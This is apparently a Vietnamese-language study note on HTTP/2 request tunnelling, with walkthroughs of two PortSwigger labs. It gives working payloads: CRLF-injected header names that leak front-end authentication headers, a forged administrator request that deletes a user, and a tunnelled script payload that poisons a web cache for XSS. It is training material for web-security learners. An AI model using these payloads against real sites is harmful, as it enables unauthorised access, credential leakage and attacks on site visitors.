HTTP request tunnelling
Request tunnelling cho phép gửi request qua request khác để bypass.
Mặc dù một số server sẽ reuse kết nối cho bất kỳ request nào, những server khác có policy nghiêm ngặt hơn.
Ví dụ, một số server chỉ cho phép request xuất phát từ cùng IP hoặc cùng client reuse kết nối. Những server khác không reuse kết nối nào, hạn chế những gì bạn có thể đạt được qua request smuggling cổ điển vì bạn không có cách rõ ràng để ảnh hưởng đến traffic của user khác.
Bạn vẫn có thể gửi request đơn lẻ sẽ elicit hai response từ back-end. Điều này cho phép bạn ẩn request và response matching từ front-end hoàn toàn.
Bạn có thể sử dụng kỹ thuật này để bypass front-end security measures có thể ngăn bạn gửi một số request.
Request Tunnelling with HTTP/2
Trong HTTP/2, mỗi “stream” nên chỉ chứa request và response duy nhất. Nếu bạn nhận response HTTP/2 với những gì dường như là response HTTP/1 trong body, bạn có thể tự tin rằng bạn đã tunnel thành công request thứ hai.
Leaking Internal Headers via HTTP/2 Request Tunnelling
Bạn có thể trick front-end append header internal bên trong những gì sẽ trở thành body parameter trên back-end. Giả sử chúng ta gửi request trông giống như này:
Header | Value |
---|---|
:method | POST |
:path | /comment |
:authority | vulnerable-website.com |
content-type | application/x-www-form-urlencoded |
foo | bar\r\nContent-Length: 200\r\n\r\ncomment= |
Front-end thấy mọi thứ chúng ta inject như phần của header, nên thêm bất kỳ header mới nào sau chuỗi trailing comment=
Mặt khác, back-end thấy chuỗi \r\n\r\n
và nghĩ đây là kết thúc của header. Chuỗi comment=
cùng với header internal được coi như phần của body. Kết quả là parameter comment
với header internal như giá trị của nó.
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
comment=X-Internal-Header: secretContent-Length: 3
Non-blind Request Tunnelling Using HEAD
Một số front-end server chỉ đọc số byte được chỉ định trong header Content-Length
của response, nên chỉ response đầu tiên được forward đến client. Điều này dẫn đến lỗ hổng request tunnelling blind vì bạn sẽ không thấy response cho request tunnelled.
Request tunneling blind có thể challenging để khai thác, nhưng sử dụng request HEAD
có thể làm lỗ hổng này visible.
Response cho request HEAD
thường bao gồm header Content-Length
, có thể gây một số front-end server over-read response từ back-end nếu chúng thất bại trong account cho điều này và đọc số byte được chỉ định bất kể.
Ví dụ:
Request:
Header | Value |
---|---|
:method | HEAD |
:path | /example |
:authority | vulnerable-website.com |
foo | bar\r\n\r\nGET /tunnelled HTTP/1.1\r\nHost: vulnerable-website.com\r\nX: x |
Response:
:status 200
content-type text/html
content-length 131
HTTP/1.1 200 OK <-- tunneled response
Content-Type: text/html
Content-Length: 4286
<!DOCTYPE html>
<h1>Tunnelled</h1>
<p>This is a tunnelled respo
Attention
Nếu resource được trả về bởi request
HEAD
ngắn hơn response tunnelled, nó có thể bị truncate. Ngược lại, nếuContent-Length
vượt quá kích thước response, bạn có thể gặp timeout vì front-end server chờ thêm data từ back-end.
Lab: Bypassing Access Controls via HTTP/2 Request Tunnelling
Abstract
Front-end server downgrading request HTTP/2 và thất bại trong việc sanitize incoming header name đúng cách. Để giải lab, truy cập admin panel tại
/admin
như useradministrator
và xóa usercarlos
.Front-end server không reuse kết nối đến back-end, nên không dễ bị tấn công request smuggling cổ điển. Tuy nhiên, nó vẫn dễ bị request tunnelling.
Hint
Front-end server append series của client authentication header vào request incoming. Bạn cần tìm cách leak chúng.
Testing for CRLF Injection
Thử khai thác lỗ hổng H2.CL1 và H2.TE2:
GET / HTTP/2
Content-Length: 1
GET / HTTP/2
Transfer-Encoding: chunked
1
A
X
Status code cho cả hai request là 200 nghĩa là chúng ta không thể khai thác lỗ hổng H2.CL và H2.TE.
Thêm header tên Host:test.com
qua tab “Inspector” của Burp Suite. Request nên trông như này:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net |
Host:test.com |
Chúng ta không thêm giá trị header vì mô tả lab nói rằng chỉ header name không được sanitize.
Gửi request trên và nhận response này:
HTTP/2 504 Gateway Timeout
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 148
<html>
<head>
<title>Server Error: Gateway Timeout</title>
</head>
<body>
<h1>Server Error: Gateway Timeout (3) connecting to test.com</h1>
</body>
</html>
Request này chỉ ra rằng host name inject của chúng ta sẽ được front-end server coi như header hợp lệ và sẽ được forward đến back-end server. Sau đó, back-end server sẽ thực hiện request đến host name inject thay vì hostname gốc.
Thử inject CRLF bằng cách gửi request này:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net |
Foo:bar\r\nHost:test.com |
Response của request này giống với cái trước, nghĩa là chúng ta có thể sử dụng CSRF injection.
Leaking Authentication Headers
Tiếp theo, chúng ta cần leak authentication header được thêm bởi front-end server3. Chúng ta tìm thấy có endpoint có param controllable và reflect:
GET /?search=hello HTTP/2
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3297
...
<h1>0 search results for 'hello'</h1>
Request này cũng có thể chuyển thành request POST:
POST / HTTP/2
search=hello
Chúng ta sẽ sử dụng header name như này:
Header | Value |
---|---|
:method | POST |
:path | / |
:authority | 0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net |
Content-Length:30\r\n\r\nsearch= |
Trong tấn công request smuggling cổ điển, chúng ta có lẽ đặt param search
trong body request với header Content-Length
dài hơn một chút so với content thực tế. Tuy nhiên, Content-Length
bị bỏ qua nên chúng ta cần inject nó vào header.
Cách server xử lý request trên:
- Trong downgrading, front-end server sẽ thêm authentication header sau header inject của chúng ta, được coi như header hợp lệ.
- Chuỗi
Content-Length:30
sẽ được backend server xử lý như header bình thường. - Sau header này là chuỗi
\r\n\r\n
. Back-end server thấy đây là kết thúc của header và sẽ đọc content trong body request, bao gồm paramsearch
của chúng ta và bất kỳ authentication header tiếp theo nào.
Kết quả là, request downgraded gửi đến back-end server có thể là:
POST / HTTP/1.1
...
Content-Length: 30
search=Some-Authentication-Header:abc
...
Param search
sẽ được reflect vào response:
<h1>0 search results for ':\n X-SSL-VERIFIED: 0\n'</h1>
Thay đổi giá trị của Content-Length
thành 200 và nhận response timeout:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
<html>
<head>
<title>Server Error: Proxy error</title>
</head>
<body>
<h1>Server Error: Communication timed out</h1>
</body>
</html>
Điều này vì authentication header không đủ dài. Chúng ta có thể pad data hoặc giảm giá trị của Content-Length
đến khi thấy mọi authentication header.
Pad data reflect bằng cách thêm một số ký tự ‘A’ sau chuỗi search=
:
Content-Length:200
search=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Điều chỉnh padding đến khi response có tất cả authentication header chúng ta cần:
<h1>0 search results for\n 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:\n X-SSL-VERIFIED: 0\n X-SSL-CLIENT-CN: null\n X-FRONTEND-KEY: 8798491640355206\n Content-Length: 0\n'</h1>
Chúng ta cũng có thể sử dụng tính năng comment để leak authentication header bằng cách smuggle request như qua header name:
foo: bar
POST /post/comment HTTP/1.1
Cookie: session=58Qyr4hoXJZLWChBfmHK1mTP2qXcSkZL
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
csrf=qSwSbOsl8CksXPXaK27XKIYedPHrUjOZ&postId=3&name=a&email=a%40a.com&comment=
Comment sẽ được post trên trang post:
<p>: \nX-SSL-VERIFIED: 0\nX-SSL-CLIENT-CN: null\nX-FRONTEND-KEY: 8798491640355206\nContent-Length: 0</p>
Tunneling the Attack Request
Với kết quả trên, chúng ta xây dựng header name chứa request tunnelled của chúng ta đến /admin
cũng như authentication header như này:
foo: bar
GET /admin HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
Chú ý rằng chúng ta đã thay đổi X-SSL-VERIFIED
thành 1
và X-SSL-CLIENT-CN
thành administrator
vì endpoint /admin
chỉ accessible cho administrator.
Như chúng ta biết, một số front-end server “chỉ đọc số byte được chỉ định trong header Content-Length
của response đến request gốc” nên response của request tunnelled của chúng ta có thể bị bỏ qua. Để đối phó, chúng ta thay đổi method request thành HEAD
.
Khi làm vậy, response trở thành:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 151
<html>
<head>
<title>Server Error: Proxy error</title>
</head>
<body>
<h1>Server Error: Received only 3608 of expected 8848 bytes of data</h1>
</body>
</html>
Điều này chỉ ra rằng có response cho request tunnelled của chúng ta nhưng nó quá ngắn so với header Content-Length
trong response của request HEAD
. Trong trường hợp này, chúng ta có thể request đến resource khác ngắn hơn 3521
byte bằng cách thay đổi giá trị của header :path
của request HEAD
.
Chúng ta có thể sử dụng endpoint /?search=hello
cho mục đích này.
Bây giờ chúng ta có response tunnelled của mình:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=giYu29TnmIuwtO4fpEarQCI8LSWU19Gd; Secure; HttpOnly; SameSite=None
Content-Length: 3297
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=mf0YDlbmPvgeLd2JCQUk0OZE1olZqP9F; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 3189
...
<a href="/admin/delete?username=carlos">Delete</a>
Thay đổi header name thành này để xóa user carlos
:
foo: bar
POST /admin/delete?username=carlos HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
Web Cache Poisoning via HTTP/2 Request Tunnelling
Với request tunnelling non-blind, bạn có thể kết hợp header từ response này với body của response khác. Nếu response trong body reflect input user không encode, bạn có thể leverage hành vi này cho Reflected XSS trong context nơi browser thường không thực thi code.
Ví dụ, response sau chứa input attacker-controllable không encode:
HTTP/1.1 200 OK
Content-Type: application/json
{ "name" : "test<script>alert(1)</script>" }
...
Content-Type
nghĩa là payload này sẽ đơn giản được diễn giải như JSON bởi browser. Nhưng xem xét điều gì xảy ra nếu bạn tunnel request đến back-end thay vì. Response này sẽ xuất hiện bên trong body của response khác, hiệu quả inherit header của nó, bao gồm Content-Type
.
:status 200
content-type text/html
content-length 174
HTTP/1.1 200 OK
Content-Type: application/json
{ "name" : "test<script>alert(1)</script>" }
...
Lab: Web Cache Poisoning via HTTP/2 Request Tunnelling
Abstract
Front-end server downgrading request HTTP/2 và không sanitize incoming header nhất quán.
Để giải lab, poison cache theo cách mà khi nạn nhân truy cập home page, browser của họ thực thi
alert(1)
. User nạn nhân sẽ truy cập home page mỗi 15 giây.Front-end server không reuse kết nối đến back-end, nên không dễ bị tấn công request smuggling cổ điển. Tuy nhiên, nó vẫn dễ bị request tunnelling.
Info
Theo giải pháp để giải lab này.
Injecting into :path
Pseudo Header
Kiểm tra request bình thường:
GET / HTTP/2
...
Inject sau vào pseudo header :path
:
/404 HTTP/1.1
Foo: bar
Đại diện của nó tại back-end server:
GET /404 HTTP/1.1
Foo: barHTTP/2
...
Response cho thấy chúng ta có thể inject qua pseudo header :path
:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=zXm9EO1djlP6XK0VYreSl8Nfkfx4pJy2; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Thay đổi method của wrapper request thành HEAD
và tunnel request trong pseudo header :path
:
/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
GET / HTTP/1.1
Foo: bar
Important
Chúng ta vẫn cần thêm header
Host
để đảm bảo wrapper request hợp lệ.
Bây giờ chúng ta có thể thấy hai response:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=lceJdPskkeDQ6vyQhPXNNjzlLX82mqRP; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=VrF3AxT5EO93YFZcpXr9e4GwOTusUrZC; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 8637
Reflecting Input without Sanitization
Sau đó, chúng ta cần tìm endpoint có thể reflect input mà không sanitize. Và đó là /resources
:
GET /resources HTTP/2
HTTP/2 302 Found
Location: /resources/
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0
Thử thêm param:
GET /resources?<script>alert(1)</script> HTTP/2
HTTP/2 302 Found
Location: /resources/?<script>alert(1)</script>
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0
Như chúng ta thấy, param inject được reflect vào response. Ý định của chúng ta là đặt response này vào response khác có content type text/html
.
Poisoning the Cache
Cập nhật pseudo header :path
để tunnel request hoàn chỉnh:
/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
GET /resources?<script>alert(1)</script> HTTP/1.1
Foo: bar
Tuy nhiên, khi gửi request trên, tôi nhận response này:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
<html>
<head>
<title>Server Error: Proxy error</title>
</head>
<body>
<h1>Server Error: Communication timed out</h1>
</body>
</html>
Điều này do header Content-Length
dài hơn trong response chính so với response nested của request tunnelled.
Thêm một số padding vào query param của endpoint /resources
để giải quyết vấn đề này:
/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
GET /resources?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... HTTP/1.1
Foo: bar
Response cho thấy chúng ta đã poison cache thành công:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=XKlfJKKervn0hS50OTOkc4H9wYnc6vdw; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
HTTP/1.1 302 Found
Location: /resources/?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Related
list
from outgoing([[Port Swigger - HTTP Request Tunnelling]])
sort file.ctime asc
Resources
- HTTP request tunnelling | Web Security Academy (portswigger.net)
- HTTP Request Smuggling - HTTP/2 Request Tunnelling - Scomurr’s Blog
Footnotes
-
see Lab Response Queue Poisoning via H2.TE Request Smuggling ↩
-
chúng ta sẽ sử dụng kỹ thuật trong Revealing Front-end Request Rewriting và 2 Request Splitting via CRLF Injection ↩